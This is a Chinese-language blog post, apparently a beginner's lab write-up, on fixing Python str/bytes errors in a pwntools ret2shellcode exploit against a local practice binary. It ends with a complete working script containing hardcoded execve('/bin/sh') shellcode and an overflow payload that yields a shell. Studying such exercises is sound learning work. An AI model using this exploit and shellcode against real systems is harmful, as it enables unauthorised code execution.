自学栈溢出漏洞碰到个问题记录一下。从网上下载shellcode源码出现这个报错,错误提示一堆。
有一个关键错误,显示有asm,asm是汇编,在脚本中生成汇编的是asm(shellcraft.sh())这个函数,此函数会生成shellcode,将shellcode写入栈中等到ret时getshell,听大佬说shellcode也可以自己写,如果你头铁的话。合理猜想此函数有问题
"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
换上以后错误正常了
这种问题其实已经出现过,原因是字符串不能与字节连接,前面是字符串,后面是字节。在网上找到此解决方法,在a前面加b(b似乎是一个字符串转byte的转换)
改了之后依旧有其他的错误,在排查的时候突然想到既然b像是字符转换,刚刚输进去的汇编也是字符串,我只转换了用于补充无用栈的字符串,汇编还没转换,在汇编前加b
可以显示id等终端命令,证明getshell成功
开心,终于解决了。
注意,这里还有字节警告,没有继续追究下去,有知道的伙伴滴滴一下。
完整脚本
from pwn import *
p = process("./ret2shellcode")
buf2_addr = 0x0804A080
sc =b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
payload = sc.ljust(0x70,b"a") + p32(buf2_addr)
p.sendlineafter("No system for you this time !!!\n",payload)
p.interactive()